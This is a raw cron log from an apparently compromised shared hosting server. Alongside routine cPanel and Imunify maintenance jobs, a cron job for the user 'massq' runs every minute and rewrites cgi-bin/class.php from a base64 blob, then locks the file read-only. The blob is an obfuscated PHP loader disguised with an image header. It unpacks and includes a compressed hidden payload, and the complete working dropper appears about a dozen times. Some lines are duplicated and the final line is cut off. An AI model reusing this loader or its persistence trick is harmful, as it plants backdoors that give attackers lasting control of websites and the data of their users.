Aug 31 19:26:01 server CROND[3103]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 19:26:01 server CROND[3105]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:26:01 server CROND[3106]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:27:01 server CROND[3580]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:27:01 server CROND[3581]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 19:27:01 server CROND[3582]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:27:01 server CROND[3583]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 19:28:01 server CROND[3964]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 19:28:01 server CROND[3965]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:28:01 server CROND[3966]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:29:01 server CROND[4339]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:29:01 server CROND[4341]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 19:29:01 server CROND[4342]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:30:01 server CROND[4783]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:30:01 server CROND[4786]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 19:30:01 server CROND[4784]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 19:30:01 server CROND[4787]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:30:01 server CROND[4785]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 19:30:01 server CROND[4790]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 19:30:01 server CROND[4791]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 19:30:01 server CROND[4792]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 19:31:01 server CROND[5603]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:31:01 server CROND[5604]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:31:01 server CROND[5605]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 19:32:01 server CROND[5967]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:32:01 server CROND[5969]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 19:32:01 server CROND[5968]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:33:01 server CROND[6436]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 19:33:01 server CROND[6437]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:33:01 server CROND[6438]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:34:01 server CROND[6808]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 19:34:01 server CROND[6809]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:34:01 server CROND[6810]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:35:01 server CROND[7268]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:35:01 server CROND[7269]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 19:35:01 server CROND[7267]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 19:35:01 server CROND[7270]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:35:01 server CROND[7276]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 19:35:01 server CROND[7275]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 19:35:01 server CROND[7271]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Aug 31 19:35:01 server CROND[7277]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 19:35:01 server CROND[7274]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 19:36:01 server CROND[8158]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 19:36:01 server CROND[8160]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:36:01 server CROND[8159]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:37:01 server CROND[8526]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:37:01 server CROND[8527]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 19:37:01 server CROND[8526]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:37:01 server CROND[8527]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 19:37:01 server CROND[8526]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:37:01 server CROND[8527]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 19:37:01 server CROND[8528]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > 